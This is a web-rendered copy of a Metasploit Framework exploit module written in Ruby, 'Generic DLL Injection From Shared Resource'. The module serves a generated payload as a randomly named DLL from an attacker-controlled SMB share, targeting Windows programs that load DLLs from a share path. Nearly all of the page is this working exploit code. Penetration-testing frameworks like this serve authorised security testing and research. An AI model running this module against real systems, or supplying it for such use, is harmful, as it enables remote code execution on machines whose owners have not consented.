Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/generic_smb_dll_injection.rb
32961 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::SMB::Server::Share
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Generic DLL Injection From Shared Resource',
17
'Description' => %q{
18
This is a general-purpose module for exploiting conditions where a DLL can be loaded
19
from a specified SMB share. This module serves payloads as DLLs over an SMB service.
20
},
21
'Author' => [
22
'Matthew Hall <hallm[at]sec-1.com>'
23
],
24
'References' => [
25
['CWE', '114']
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'thread'
29
},
30
'Privileged' => false,
31
'Platform' => 'win',
32
'Payload' => {
33
'Space' => 2048,
34
'DisableNops' => true
35
},
36
'Targets' => [
37
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
38
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
39
],
40
'DefaultTarget' => 0,
41
'DisclosureDate' => '2015-03-04',
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
50
register_options(
51
[
52
OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])
53
]
54
)
55
56
deregister_options('FILE_CONTENTS')
57
end
58
59
def setup
60
super
61
62
self.file_contents = generate_payload_dll
63
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(rand(4..6))}.dll"
64
print_status("File available on #{unc}...")
65
end
66
end
67
68